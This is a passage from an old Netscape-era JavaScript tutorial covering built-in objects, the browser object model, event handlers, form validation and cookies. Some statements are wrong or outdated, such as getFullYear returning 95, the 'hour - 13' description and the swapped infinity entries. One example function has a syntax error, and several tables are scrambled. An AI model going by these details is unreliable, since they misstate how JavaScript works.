For example, suppose you define the following array: myArray = new Array("Wind","Rain","Fire") myArray.join() returns "Wind,Rain,Fire"; myArray.reverse transposes the array so that myArray[0] is "Fire", myArray[1] is "Rain", and myArray[2] is "Wind". myArray.sort sorts the array so that myArray[0] is "Fire", myArray[1] is "Rain", and myArray[2] is "Wind". Two-Dimensional Arrays The following code creates a two-dimensional array. a = new Array(4) for (i=0; i < 4; i++) { a[i] = new Array(4) for (j=0; j < 4; j++) { a[i][j] = "["+i+","+j+"]" } } The following code displays the array: for (i=0; i < 4; i++) { str = "Row "+i+":" for (j=0; j < 4; j++) { str += a[i][j] } document.write(str,"<p>") } This example displays the following results: Row 0:[0,0][0,1][0,2][0,3] Row 1:[1,0][1,1][1,2][1,3] Row 2:[2,0][2,1][2,2][2,3] Row 3:[3,0][3,1][3,2][3,3] Arrays and Regular Expressions When an array is the result of a match between a regular expression and a string, the array returns properties and elements that provide information about the match. An array is the return value of regexp.exec, string.match, and string.replace. For information on using arrays with regular expressions, see Chapter 4, "Regular Expressions." Boolean Object
The Boolean object is a wrapper around the primitive Boolean data type. Use the following syntax to create a Boolean object: booleanObjectName = new Boolean(value) Do not confuse the primitive Boolean values true and false with the true and false values of the Boolean object. Any object whose value is not undefined or null, including a Boolean object whose value is false, evaluates to true when passed to a conditional statement. See "if...else Statement" on page 80 for more information. Date Object JavaScript does not have a date data type. However, you can use the Date object and its methods to work with dates and times in your applications. The Date object has a large number of methods for setting, getting, and manipulating dates. It does not have any properties. JavaScript handles dates similarly to Java. The two languages have many of the same date methods, and both languages store dates as the number of milliseconds since January 1, 1970, 00:00:00. The Date object range is -100,000,000 days to 100,000,000 days relative to 01 January, 1970 UTC. To create a Date object: dateObjectName = new Date([parameters]) where dateObjectName is the name of the Date object being created; it can be a new object or a property of an existing object. The parameters in the preceding syntax can be any of the following:
Nothing: creates today's date and time. For example, today = new Date(). A string representing a date in the following form: "Month day, year hours:minutes:seconds." For example, Xmas95 = new Date("December 25, 1995 13:30:00"). If you omit hours, minutes, or seconds, the value will be set to zero. A set of integer values for year, month, and day. For example, Xmas95 = new Date(1995,11,25). A set of values for year, month, day, hour, minute, and seconds. For example, Xmas95 = new Date(1995,11,25,9,30,0). Dates prior to 1970 are not allowed. JavaScript depends on platform-specific date facilities and behavior; the behavior of the Date object varies from platform to platform.
JavaScript 1.2 and earlier versions. The Date object behaves as follows:
Methods of the Date Object The Date object methods for handling dates and times fall into these broad categories:
"set" methods, for setting date and time values in Date objects. "get" methods, for getting date and time values from Date objects. "to" methods, for returning string values from Date objects. parse and UTC methods, for parsing Date strings.
With the "get" and "set" methods you can get and set seconds, minutes, hours, day of the month, day of the week, months, and years separately. There is a getDay method that returns the day of the week, but no corresponding setDay method, because the day of the week is set automatically. These methods use integers to represent these values as follows:
Seconds and minutes: 0 to 59 Hours: 0 to 23 Day: 0 (Sunday) to 6 (Saturday) Date: 1 to 31 (day of the month) Months: 0 (January) to 11 (December) Year: years since 1900
For example, suppose you define the following date: Xmas95 = new Date("December 25, 1995") Then Xmas95.getMonth() returns 11, and Xmas95.getFullYear() returns 95. The getTime and setTime methods are useful for comparing dates. The getTime method returns the number of milliseconds since January 1, 1970, 00:00:00 for a Date object. For example, the following code displays the number of days left in the current year: today = new Date() endYear = new Date(1995,11,31,23,59,59,999) // Set day and month endYear.setFullYear(today.getFullYear()) // Set year to this year msPerDay = 24 * 60 * 60 * 1000 // Number of milliseconds per day daysLeft = (endYear.getTime() - today.getTime()) / msPerDay daysLeft = Math.round(daysLeft) //returns days left in the year This example creates a Date object named today that contains today's date. It then creates a Date object named endYear and sets the year to the current year. Then, using the number of milliseconds per day, it computes the number of days between today and endYear, using getTime and rounding to a whole number of days. The parse method is useful for assigning values from date strings to existing Date objects. For example, the following code uses parse and setTime to assign a date value to the IPOdate object: IPOdate = new Date() IPOdate.setTime(Date.parse("Aug 9, 1995")) Using the Date Object: an Example In the following example, the function JSClock() returns the time in the format of a digital clock. function JSClock() { var time = new Date() var hour = time.getHours() var minute = time.getMinutes() var second = time.getSeconds() var temp = "" + ((hour > 12) ? hour - 12 : hour) temp += ((minute < 10) ? ":0" : ":") + minute temp += ((second < 10) ? ":0" : ":") + second temp += (hour >= 12) ? " P.M." : " A.M." return temp } The JSClock function first creates a new Date object called time; since no arguments are given, time is created with the current date and time. Then calls to the getHours, getMinutes, and getSeconds methods assign the value of the current hour, minute and seconds to hour, minute, and second. The next four statements build a string value based on the time. The first statement creates a variable temp, assigning it a value using a conditional expression; if hour is greater than 12, (hour - 13), otherwise simply hour.
The next statement appends a minute value to temp. If the value of minute is less than 10, the conditional expression adds a string with a preceding zero; otherwise it adds a string with a demarcating colon. Then a statement appends a seconds value to temp in the same way. Finally, a conditional expression appends "PM" to temp if hour is 12 or greater; otherwise, it appends "AM" to temp. Function Object The predefined Function object specifies a string of JavaScript code to be compiled as a function. To create a Function object: functionObjectName = new Function ([arg1, arg2, ... argn], functionBody) functionObjectName is the name of a variable or a property of an existing object. It can also be an object followed by a lowercase event handler name, such as window.onerror. arg1, arg2, ... argn are arguments to be used by the function as formal argument names. Each must be a string that corresponds to a valid JavaScript identifier; for example "x" or "theForm". functionBody is a string specifying the JavaScript code to be compiled as the function body. Function objects are evaluated each time they are used. This is less efficient than declaring a function and calling it within your code, because declared functions are compiled. In addition to defining functions as described here, you can also use the function statement. See the Client-Side JavaScript Reference for more information. The following code assigns a function to the variable setBGColor. This function sets the current document's background color. var setBGColor = new Function("document.bgColor='antiquewhite'") To call the Function object, you can specify the variable name as if it were a function. The following code executes the function specified by the setBGColor variable: var colorChoice="antiquewhite" if (colorChoice=="antiquewhite") {setBGColor()} You can assign the function to an event handler in either of the following ways: 1. document.form1.colorButton.onclick=setBGColor 2. <INPUT NAME="colorButton" TYPE="button" VALUE="Change background color" onClick="setBGColor()"> Creating the variable setBGColor shown above is similar to declaring the following function: function setBGColor() { document.bgColor='antiquewhite' } You can nest a function within a function. The nested (inner) function is private to its containing (outer) function:
The inner function can be accessed only from statements in the outer function. The inner function can use the arguments and variables of the outer function. The outer function cannot use the arguments and variables of the inner function.
Math Object The predefined Math object has properties and methods for mathematical constants and functions. For example, the Math object's PI property has the value of pi (3.141...), which you would use in an application as Math.PI
Similarly, standard mathematical functions are methods of Math. These include trigonometric, logarithmic, exponential, and other functions. For example, if you want to use the trigonometric function sine, you would write Math.sin(1.56) Note that all trigonometric methods of Math take arguments in radians. The following table summarizes the Math object's methods. Table 7.1 Methods of Math Method Abs Description Absolute value
sin, cos, tan Standard trigonometric functions; argument in radians acos, asin, atan exp, log Ceil Floor min, max Pow Round Sqrt Inverse trigonometric functions; return values in radians Exponential and natural logarithm, base e Returns least integer greater than or equal to argument Returns greatest integer less than or equal to argument Returns greater or lesser (respectively) of two arguments Exponential; first argument is base, second is exponent Rounds argument to nearest integer Square root
Unlike many other objects, you never create a Math object of your own. You always use the predefined Math object. It is often convenient to use the with statement when a section of code uses several math constants and methods, so you don't have to type "Math" repeatedly. For example, with (Math) { a = PI * r*r y = r*sin(theta) x = r*cos(theta) } Number Object The Number object has properties for numerical constants, such as maximum value, not-a-number, and infinity. You cannot change the values of these properties and you use them as follows: biggestNum = Number.MAX_VALUE smallestNum = Number.MIN_VALUE infiniteNum = Number.POSITIVE_INFINITY negInfiniteNum = Number.NEGATIVE_INFINITY notANum = Number.NaN You always refer to a property of the predefined Number object as shown above, and not as a property of a Number object you create yourself.
The following table summarizes the Number object's properties. Table 7.2 Properties of Number Method MAX_VALUE MIN_VALUE NaN Description The largest representable number The smallest representable number Special "not a number" value
NEGATIVE_INFINITY Special infinite value; returned on overflow POSITIVE_INFINITY Special negative infinite value; returned on overflow
RegExp Object The RegExp object lets you work with regular expressions. It is described in Chapter 4, "Regular Expressions." String Object The String object is a wrapper around the string primitive data type. Do not confuse a string literal with the String object. For example, the following code creates the string literal s1 and also the String object s2: s1 = "foo" //creates a string literal value s2 = new String("foo") //creates a String object You can call any of the methods of the String object on a string literal value-JavaScript automatically converts the string literal to a temporary String object, calls the method, then discards the temporary String object. You can also use the String.length property with a string literal. You should use string literals unless you specifically need to use a String object, because String objects can have counterintuitive behavior. For example: s1 = "2 + 2" //creates a string literal value s2 = new String("2 + 2")//creates a String object eval(s1) //returns the number 4 eval(s2) //returns the string "2 + 2" A String object has one property, length, that indicates the number of characters in the string. For example, the following code assigns x the value 13, because "Hello, World!" has 13 characters: myString = "Hello, World!" x = mystring.length A String object has two types of methods: those that return a variation on the string itself, such as substring and toUpperCase, and those that return an HTML-formatted version of the string, such as bold and link. For example, using the previous example, both mystring.toUpperCase() and "hello, world!".toUpperCase() return the string "HELLO, WORLD!". The substring method takes two arguments and returns a subset of the string between the two arguments. Using the previous example, mystring.substring(4, 9) returns the string "o, Wo." See the substring method of the String object in the Client-Side JavaScript Reference for more information. The String object also has a number of methods for automatic HTML formatting, such as bold to create boldface text and link to create a hyperlink. For example, you could create a hyperlink to a hypothetical URL with the link method as follows: mystring.link("http://www.helloworld.com")
The following table summarizes the methods of String objects. Table 7.3 Methods of String Method anchor Description Creates HTML named anchor
big, blink, bold, Creates HTML formatted string fixed, italics, small, strike, sub, sup charAt, charCodeAt Returns the character or character code at the specified position in string indexOf, lastIndexOf Link concat fromCharCode Split Slice substring, substr match, replace, search toLowerCase, toUpperCase Returns the position of specified substring in the string or last position of specified substring, respectively Creates HTML hyperlink Combines the text of two strings and returns a new string Constructs a string from the specified sequence of ISO-Latin-1 codeset values Splits a String object into an array of strings by separating the string into substrings Extracts a section of an string and returns a new string. Returns the specified subset of the string, either by specifying the start and end indexes or the start index and a length Used to work with regular expressions Returns the string in all lowercase or all uppercase, respectively
6.3 JavaScript HTML DOM Objects In addition to the built-in JavaScript objects, you can also access and manipulate all of the HTML DOM objects with JavaScript. Navigator Object Hierarchy When you load a document in Navigator, it creates a number of JavaScript objects with property values based on the HTML in the document and other pertinent information. These objects exist in a hierarchy that reflects the structure of the HTML page itself. The following figure illustrates this object hierarchy.
In this hierarchy, an object's "descendants" are properties of the object. For example, a form named form1 is an object as well as a property of document, and is referred to as document.form1. Every page has the following objects:
navigator: has properties for the name and version of Navigator being used, for the MIME types supported by the client, and for the plug-ins installed on the client. window: the top-level object; has properties that apply to the entire window. Each "child window" in a frames document also has a window object. document: contains properties based on the content of the document, such as title, background color, links, and forms. location: has properties based on the current URL. history: contains properties representing URLs the client has previously requested.
The Key Navigator Objects window and Frame Objects The window object is the "parent" object for all other objects in Navigator. You can create multiple windows in a JavaScript application. A Frame object is defined by the FRAME tag in a FRAMESET document. Frame objects have the same properties and methods as window objects and differ only in the way they are displayed. The window object has numerous useful methods, including the following:
open and close: Opens and closes a browser window; you can specify the size of the window, its content, and whether it has a button bar, location field, and other "chrome" attributes. alert: Displays an Alert dialog box with a message. confirm: Displays a Confirm dialog box with OK and Cancel buttons. prompt: Displays a Prompt dialog box with a text field for entering a value. blur and focus: Removes focus from, or gives focus to a window. scrollTo: Scrolls a window to a specified coordinate. setInterval: Evaluates an expression or calls a function each time the specified period elapses. setTimeout: Evaluates an expression or calls a function once after the specified period elapses.
Window also has several properties you can set, such as: Location: You can set location to redirect the client to another URL. For example, the following statement redirects the client to the Netscape home page, as if the user had clicked a hyperlink or otherwise loaded the URL: location = http://home.netscape.com
status: You can use the status property to set the message in the status bar at the bottom of the client window
Opening and Closing Windows A window is created automatically when you launch Navigator; you can open another window by choosing New then Navigator Window from the File menu. You can close a window by choosing either Close or Exit from the File menu. You can also open and close windows programmatically with JavaScript. Opening a Window You can create a window with the open method. The following statement creates a window called msgWindow that displays the contents of the file sesame.html: msgWindow=window.open("sesame.html") The following statement creates a window called homeWindow that displays the Netscape home page: homeWindow=window.open("http://home.netscape.com") Windows can have two names. The following statement creates a window with two names. The first name, msgWindow, is a variable that refers to the window object. This object has information on the window's properties, methods, and containership. When you create the window, you can also supply a second name, in this case displayWindow, to refer to that window as the target of a form submit or hypertext link. msgWindow=window.open("sesame.html","displayWindow") A window name is not required when you create a window. But the window must have a name if you want to refer to it from another window. When you open a window, you can specify attributes such as the window's height and width and whether the window contains a toolbar, location field, or scrollbars. The following statement creates a window without a toolbar but with scrollbars: msgWindow=window.open ("sesame.html","displayWindow","toolbar=no,scrollbars=yes") Closing a Window
You can close a window with the close method. You cannot close a frame without closing the entire parent window. Each of the following statements closes the current window: window.close() self.close() close() Do not use the third form, close(), in an event handler. Because of how JavaScript figures out what object a method call refers to, inside an event handler it will get the wrong object. The following statement closes a window called msgWindow: msgWindow.close() Referring to Properties, Methods, and Event Handlers You can refer to the properties, methods, and event handlers of the current window or another window (if the other window is named) using any of the following techniques:
self or window: self and window are synonyms for the current window, and you can use them optionally to refer to the current window. For example, you can close the current window by calling either window.close() or self.close(). top or parent: top and parent are also synonyms that you can use in place of the window name. top can be used for any window; it refers to the topmost Navigator window. parent can be used for a frame; it refers to the frameset window that contains that frame. For example, for the frame frame1, the statement parent.frame2.document.bgColor="teal" changes the background color of the frame named frame2 to teal, where frame2 is a sibling frame in the current frameset. The name of a window variable: The window variable is the variable specified when a window is opened. For example, msgWindow.close() closes a window called msgWindow.
Omit the window name: Because the existence of the current window is assumed, you do not have to refer to the name of the window when you call its methods and assign its properties. For example, close() closes the current window. However, when you open or close a window within an event handler, you must specify window.open() or window.close() instead of simply using open() or close(). Because of the scoping of static objects in JavaScript, a call to close() without specifying an object name is equivalent to document.close(). document Object Each page has one document object. Because its write and writeln methods generate HTML, the document object is one of the most useful Navigator objects. The document object has a number of properties that reflect the colors of the background, text, and links in the page: bgColor, fgColor, linkColor, alinkColor, and vlinkColor. Other useful document properties include lastModified, the date the document was last modified, referrer, the previous URL the client visited, and URL, the URL of the document. The cookie property enables you to get and set cookie values The document object is the ancestor for all the Anchor, Applet, Area, Form, Image, Layer, Link, and Plug-in objects in the page.
Document Properties: an Example The properties of the document object are largely content-dependent. That is, they are created based on the HTML in the document. For example, document has a property for each form and each anchor in the document. Suppose you create a page named simple.html that contains the following HTML: <HEAD><TITLE>A Simple Document</TITLE> <SCRIPT> function update(form) { alert("Form being updated") } </SCRIPT> </HEAD> <BODY> <FORM NAME="myform" ACTION="foo.cgi" METHOD="get" >Enter a value: <INPUT TYPE="text" NAME="text1" VALUE="blahblah" SIZE=20 > Check if you want: <INPUT TYPE="checkbox" NAME="Check1" CHECKED onClick="update(this.form)"> Option #1 <P> <INPUT TYPE="button" NAME="button1" VALUE="Press Me" onClick="update(this.form)"> </FORM> </BODY> Given the preceding HTML example, the basic objects might have properties like those shown in the following table. Example object property values Property document.title Value "A Simple Document"
document.fgCol #000000 or document.bgCo #ffffff lor location.href history.length Form Object Each form in a document creates a Form object. Because a document can contain more than one form, Form objects are stored in an array called forms. The first form (topmost in the page) is forms[0], the second forms[1], and so on. In addition to referring to each form by name, you can refer to the first form in a document as document.forms[0] "http://www.royalairways.com/samples/sim ple.html" 7
Likewise, the elements in a form, such as text fields, radio buttons, and so on, are stored in an elements array. You could refer to the first element (regardless of what it is) in the first form as document.forms[0].elements[0] Each form element has a form property that is a reference to the element's parent form. This property is especially useful in event handlers, where you might need to refer to another element on the current form. In the following example, the form myForm contains a Text object and a button. When the user clicks the button, the value of the Text object is set to the form's name. The button's onClick event handler uses this.form to refer to the parent form, myForm. <FORM NAME="myForm"> Form name:<INPUT TYPE="text" NAME="text1" VALUE="Beluga"> <P> <INPUT NAME="button1" TYPE="button" VALUE="Show Form Name" onClick="this.form.text1.value=this.form.name"> </FORM> location Object The location object has properties based on the current URL. For example, the hostname property is the server and domain name of the server hosting the document. The location object has two methods:
reload forces a reload of the window's current document. replace loads the specified URL over the current history entry.
history Object The history object contains a list of strings representing the URLs the client has visited. You can access the current, next, and previous history entries by using the history object's current, next, and previous properties. You can access the other history values using the history array. This array contains an entry for each history entry in source order; each array entry is a string containing a URL. You can also redirect the client to any history entry by using the go method. For example, the following code loads the URL that is two entries back in the client's history list. history.go(-2) The following code reloads the current page: history.go(0) The history list is displayed in the Navigator Go menu. navigator Object The navigator object contains information about the version of Navigator in use. For example, the appName property specifies the name of the browser, and the appVersion property specifies version information for the Navigator. The navigator object has three methods:
javaEnabled specifies whether Java is enabled preference lets you use a signed script to get or set various user preferences taintEnabled specifies whether data tainting is enabled (JavaScript 1.1 only)
6.4 User-Defined Objects Most of the time you will be referencing objects that are built-in to the DOM. However, you may want to create your own objects for storing data within a JavaScript program. There are different ways to create a new object: 1. Create a direct instance of an object The following code creates an instance of an object and adds four properties to it: personObj=new Object() personObj.firstname="John" personObj.lastname="Doe" personObj.age=50 personObj.eyecolor="blue" Adding a method to the personObj is also simple. The following code adds a method called eat() to the personObj: personObj.eat=eat 2. Create a template of an object The template defines the structure of an object: function person(firstname,lastname,age,eyecolor) { this.firstname=firstname this.lastname=lastname this.age=age this.eyecolor=eyecolor } Notice that the template is just a function. Inside the function you need to assign things to this.propertyName. The reason for all the "this" stuff in is that you're going to have more than one person at a time (which person you're dealing with must be clear). That's what "this" is: the instance of the object at hand. Once you have the template, you can create new instances of the object, like this: myFather=new person("John","Doe",50,"blue") myMother=new person("Sally","Rally",48,"green") You can also add some methods to the person object. This is also done inside the template: function person(firstname,lastname,age,eyecolor) { this.firstname=firstname this.lastname=lastname this.age=age this.eyecolor=eyecolor this.newlastname=newlastname } Note that methods are just functions attached to objects. Then we will have to write the newlastname() function: function newlastname(new_lastname) { this.lastname=new_lastname }
The newlastname() function defines the person's new last name and assigns that to the person. JavaScript knows which person you're talking about by using "this.". So, now you can write: myMother.newlastname("Doe"). 6.5 Object Manipulation Statements JavaScript uses the for...in and with statements to manipulate objects. for...in Statement The for...in statement iterates a specified variable over all the properties of an object. For each distinct property, JavaScript executes the specified statements. A for...in statement looks as follows: for (variable in object) { statements } Example. The following function takes as its argument an object and the object's name. It then iterates over all the object's properties and returns a string that lists the property names and their values. function dump_props(obj, obj_name) { var result = "" for (var i in obj) { result += obj_name + "." + i + " = " + obj[i] + "<BR>" } result += "<HR>" return result } For an object car with properties make and model, result would be: car.make = Ford car.model = Mustang with Statement The with statement establishes the default object for a set of statements. JavaScript looks up any unqualified names within the set of statements to determine if the names are properties of the default object. If an unqualified name matches a property, then the property is used in the statement; otherwise, a local or global variable is used. A with statement looks as follows: with (object){ statements } Example. The following with statement specifies that the Math object is the default object. The statements following the with statement refer to the PI property and the cos and sin methods, without specifying an object. JavaScript assumes the Math object for these references. var a, x, y var r=10 with (Math) { a = PI * r * r x = r * cos(PI) y = r * sin(PI/2) }
7. SCRIPTING EVENT HANDLERS 7.1 Events Events are actions that can be detected by JavaScript. By using JavaScript, we have the ability to create dynamic web pages. Events are actions that can be detected by JavaScript. Every element on a web page has certain events which can trigger JavaScript functions. For example, we can use the onClick event of a button element to indicate that a function will run when a user clicks on the button. We define the events in the HTML tags. Examples of events:
A mouse click A web page or an image loading Mousing over a hot spot on the web page Selecting an input box in an HTML form Submitting an HTML form A keystroke
The following table lists the events recognized by JavaScript: Note: Events are normally used in combination with functions, and the function will not be executed before the event occurs! onload and onUnload The onload and onUnload events are triggered when the user enters or leaves the page. The onload event is often used to check the visitor's browser type and browser version, and load the proper version of the web page based on the information. Both the onload and onUnload events are also often used to deal with cookies that should be set when a user enters or leaves a page. For example, you could have a popup asking for the user's name upon his first arrival to your page. The name is then stored in a cookie. Next time the visitor arrives at your page, you could have another popup saying something like: "Welcome John Doe!". onFocus, onBlur and onChange The onFocus, onBlur and onChange events are often used in combination with validation of form fields. Below is an example of how to use the onChange event. The checkEmail() function will be called whenever the user changes the content of the field: <input type="text" size="30" id="email" onchange="checkEmail()">; onSubmit The onSubmit event is used to validate ALL form fields before submitting it. Below is an example of how to use the onSubmit event. The checkForm() function will be called when the user clicks the submit button in the form. If the field values are not accepted, the submit should be cancelled. The function checkForm() returns either true or false. If it returns true the form will be submitted, otherwise the submit will be cancelled:
<form method="post" action="xxx.htm" onsubmit="return checkForm()"> onMouseOver and onMouseOut onMouseOver and onMouseOut are often used to create "animated" buttons. Below is an example of an onMouseOver event. An alert box appears when an onMouseOver event is detected: <a href="http://www.w3schools.com" onmouseover="alert('An onMouseOver event');return false"> <img src="w3schools.gif" width="100" height="30"> </a> 7.2 Event Handlers You can define event handlers, such as onChange and onClick, to make your script react to events. Each event is recognized by certain objects (HTML tags), summarized in the following table: Event abort Applies to images Occurs when Event handler
User aborts the loading of an image (for example by clicking a onAbort link or clicking the Stop button)
blur
windows, frames, and all User removes input focus from onBlur form elements window, frame, or form element buttons, radio buttons, checkboxes, submit buttons, reset buttons, links text fields, textareas, select lists images, windows
click
User changes value of element onChange The loading of a document or image causes an error onError
windows, frames, and all User gives input focus to onFocus form elements window, frame, or form element document body User loads the page in the Navigator User moves mouse pointer out of an area (client-side image map) or link onLoad onMouseout
User moves mouse pointer over onMousea link Over User resets a form (clicks a onReset
Reset button) select text fields, textareas User selects form element's input field User submits a form User exits the page onSelect onSubmit onUnload
Example: using an event handler In the following example, you can enter an expression (for example, 2 + 2) in the first text field, and then click the button. The second text field then displays the value of the expression (for example, 4). <HEAD> <SCRIPT> <!--- Hide script from old browsers function compute(f) { if (confirm("Are you sure?")) f.result.value = eval(f.expr.value) else alert("Please come back again.") } // end hiding from old browsers --> </SCRIPT> </HEAD> <BODY> <FORM> Enter an expression: <INPUT TYPE="text" NAME="expr" SIZE=15 > <INPUT TYPE="button" VALUE="Calculate" onClick="compute(this.form)"> <BR> Result: <INPUT TYPE="text" NAME="result" SIZE=15 > </FORM> </BODY> The display in Navigator will look like this: Enter an expression: Result: Calling event handlers explicitly In JavaScript for Navigator 3.0, you can reset an event handler specified by HTML, as shown in the following example. <SCRIPT LANGUAGE="JavaScript"> function fun1() { ... } function fun2() { ... } </SCRIPT>
<FORM NAME="myForm"> <INPUT TYPE="button" NAME="myButton" onClick="fun1()"> </FORM> <SCRIPT> document.myForm.myButton.onclick=fun2 </SCRIPT> - Note that event handlers are function references, so you must assign fun2, not fun2() (the latter calls fun2 and has whatever type and value fun2 returns). - Also, since the event handler HTML attributes are literal function bodies, you cannot use <INPUT onClick=fun1> in the HTML source to make fun1 the onClick handler for an input; you must call fun1 instead, as in the example. - Finally, because JavaScript is case-sensitive, you must spell event handler names in lowercase in JavaScript. 8. JAVA SCRIPT ADVANCED TOPICS 8.1 JavaScript Form Validation 8.1.1 Introduction One of the most important uses of JavaScript is to validate form input to server-based programs such as LiveWire applications or CGI programs. This is useful because It reduces load on the server. "Bad data" are already filtered out when input is passed to the server-based program. - It reduces delays in case of user error. Validation otherwise has to be performed on the server, so data must travel from client to server, be processed, and then returned to client for valid input. - It simplifies the server-based program. Generally, you'll want to validate input in (at least) two places: As the user enters it, with an onChange event handler on each form element that you want validated. When the user submits the form, with an onClick event handler on the button that submits the form.
JavaScript can be used to validate input data in HTML forms before sending off the content to a server. Form data that typically are checked by a JavaScript could be:
has the user left required fields empty? has the user entered a valid e-mail address? has the user entered a valid date? has the user entered text in a numeric field?
8.1.2 Required Fields The function below checks if a required field has been left empty. If the required field is blank, an alert box alerts a message and the function returns false. If a value is entered, the function returns true (means that data is OK): function validate_required(field,alerttxt)
{ with (field) { if (value==null||value=="") {alert(alerttxt);return false} else {return true} } } The entire script, with the HTML form could look something like this: <html> <head> <script type="text/javascript"> function validate_required(field,alerttxt) { with (field) { if (value==null||value=="") {alert(alerttxt);return false} else {return true} } } function validate_form(thisform) { with (thisform) { if (validate_required(email,"Email must be filled out!")==false) {email.focus();return false} } } </script> </head> <body> <form action="submitpage.htm" onsubmit="return validate_form(this)" method="post"> Email: <input type="text" name="email" size="30"> <input type="submit" value="Submit"> </form> </body> </html>
8.1.3 E-mail Validation The function below checks if the content has the general syntax of an email. This means that the input data must contain at least an @ sign and a dot (.). Also, the @ must not be the first character of the email address, and the last dot must at least be one character after the @ sign: function validate_email(field,alerttxt) { with (field) { apos=value.indexOf("@") dotpos=value.lastIndexOf(".")
if (apos<1||dotpos-apos<2) {alert(alerttxt);return false} else {return true} } } The entire script, with the HTML form could look something like this: <html> <head> <script type="text/javascript"> function validate_email(field,alerttxt) { with (field) { apos=value.indexOf("@") dotpos=value.lastIndexOf(".") if (apos<1||dotpos-apos<2) {alert(alerttxt);return false} else {return true} } } function validate_form(thisform) { with (thisform) { if (validate_email(email,"Not a valid e-mail address!")==false) {email.focus();return false} } } </script> </head> <body> <form action="submitpage.htm" onsubmit="return validate_form(this)" method="post"> Email: <input type="text" name="email" size="30"> <input type="submit" value="Submit"> </form> </body> </html> Example validation functions The following are some simple validation functions. <HEAD> <SCRIPT LANGUAGE="javascript"> function isaPosNum(s) { return (parseInt(s) > 0) } function qty_check(item, min, max) { var returnVal = false if (!isaPosNum(item.value)) alert("Please enter a postive number" )
else if (parseInt(item.value) < min) alert("Please enter a " + item.name + " greater than " + min) else if (parseInt(item.value) > max) alert("Please enter a " + item.name + " less than " + max) else returnVal = true return returnVal } function validateAndSubmit(theform) { if (qty_check(theform.quantity, 0, 999)) { alert("Order has been Submitted") return true else { alert("Sorry, Order Cannot Be Submitted!") return false } } </SCRIPT> </HEAD> isaPosNum is a simple function that returns true if its argument is a positive number, and false otherwise. qty_check takes three arguments: an object corresponding to the form element being validated (item) and the minimum and maximum allowable values for the item (min and max). It checks that the value of item is a number between min and max and displays an alert if it is not. validateAndSubmit takes a Form object as its argument; it uses qty_check to check the value of the form element and submits the form if the input value is valid. Otherwise, it displays an alert and does not submit the form. Using the validation functions In this example, the BODY of the document uses qty_check as an onChange event handler for a text field and validateAndSubmit as the onClick event handler for a button. <BODY> <FORM NAME="widget_order" ACTION="lwapp.html" METHOD="post"> How many widgets today? <INPUT TYPE="text" NAME="quantity" onChange="qty_check(this, 0, 999)"> <BR> <INPUT TYPE="button" VALUE="Enter Order" onClick="validateAndSubmit(this.form)"> </FORM> </BODY> This form submits the values to a page in a LiveWire application called lwapp.html. It also could be used to submit the form to a CGI program. 8.2 Using JavaScript URLs You should be familiar with the standard types of URLS: http, ftp, file, and so on. With Navigator you can also use URLs of type "javascript:" to execute JavaScript statements instead of loading a document. You simply use a string beginning with "javascript:" as the value for the HREF attribute of anchor tags. For example, you can define a hyperlink as follows:
<A HREF="javascript:history.go(0)">Reload Now</A> to reload the current page when the user clicks it. In general, you can put any statements or function calls after the "javascript:" URL prefix. You can use JavaScript URLs in many ways to add functionality to your applications. For example, you could increment a counter p1 in a parent frame whenever a user clicks a link, using the following function: function countJumps() { parent.p1++ window.location=page1 } To call the function, use a JavaScript URL in a standard HTML hyperlink: <A HREF="javascript:countJumps()">Page 1</A> This example assumes page1 is a string representing a URL. If the value of the expression following a "javascript:" URL prefix evaluates to undefined, no new document is loaded. If the expression evaluates to a defined type, the value is converted to a string that specifies the source of the document to load. 8.3 Using client-side image maps A client-side image map is defined with the MAP tag. You can define areas within the image that are hyperlinks to distinct URLs; the areas can be rectangles, circles, or polygons. Instead of standard URLs, you can also use JavaScript URLs in client-side image maps, for example, <MAP NAME="buttonbar"> <AREA SHAPE="RECT" COORDS="0,0,16,14" HREF ="javascript:top.close(); window.location = newnav.html"> <AREA SHAPE="RECT" COORDS="0,0,85,46" HREF="contents.html" target="javascript:alert(`Loading Contents.'); top.location = contents.html"> </MAP> 8.5 Using server-side image maps Client-side image maps provide functionality to perform most tasks, but standard (sometimes called server-side) image maps provide even more flexibility. You specify a standard image map with the ISMAP attribute of an IMG tag that is a hyperlink. For example, The "about:logo" image is built in to Navigator and displays the Netscape logo. <A HREF="img.html"><IMG SRC="about:logo" BORDER=0 ISMAP></A> When you click an image with the ISMAP attribute, Navigator requests a URL of the form URL?x,y where URL is the document specified by the value of the HREF attribute, and x and y are the horizontal and vertical coordinates of the mouse pointer (in pixels from the top-left of the image) when you clicked. Traditionally, image-map requests are sent to servers, and a CGI program performs a database lookup function. With Navigator JavaScript, however, you can perform the lookup on the client. You can use the search property of the location object to parse the x and y coordinates and perform an action accordingly. For example, suppose you have a file named img.html with the following content: <H1>Click on the image</H1> <P>
<A HREF="img.html"><IMG SRC="about:logo" BORDER=0 ISMAP></A> <SCRIPT> str = location.search if (str == "") document.write("<P>No coordinates specified.") else { commaloc = str.indexOf(",") // the location of the comma document.write("<P>The x value is " + str.substring(1, commaloc)) document.write("<P>The y value is " + str.substring(commaloc+1, str.length)) } </SCRIPT> When you click a part of the image, Navigator reloads the page (because the HREF attribute specifies the same document), adding the x and y coordinates of the mouse-click to the URL. The statements in the else clause then display the x and y coordinates. In practice, you could redirect to another page (by setting location) or perform some other action based on the values of x and y. 8.6 Using the status bar You can use two window properties, status and defaultStatus, to display messages in the Navigator status bar at the bottom of the window. Navigator normally uses the status bar to display such messages as "Contacting Host..." and "Document: Done." The defaultStatus message appears when nothing else is in the status bar. The status property displays a transient message in the status bar, such as when the user moves the mouse pointer over a link. You can set these properties to display custom messages. For example, to display a custom message after the document has finished loading, simply set defaultStatus. For example, defaultStatus = "Some rise, some fall, some climb...to get to Terrapin" 8.7 Creating hints with onMouseOver and onMouseOut By default, when you move the mouse pointer over a hyperlink, the status bar displays the destination URL of the link. You can set status in the onMouseOut and onMouseOver event handlers of a hyperlink or image area to display hints in the status bar instead. The event handler must return true to set status. For example, <A HREF="contents.html" onMouseOver="window.status='Click to display contents';return true"> Contents</A> This example displays the hint "Click to display contents" in the status bar when you move the mouse pointer over the link. 8.8 Using cookies For a complete description of cookies, see Appendix D, "Netscape cookies.". Netscape cookies are a mechanism for storing persistent data on the client in a file called cookies.txt. Because HyperText Transport Protocol (HTTP) is a stateless protocol, cookies provide a way to maintain information between client requests. This section discusses basic uses of cookies and illustrates with a simple example. Each cookie is a small item of information with an optional expiration date and is added to the cookie file in the following format: name=value;expires=expDate;
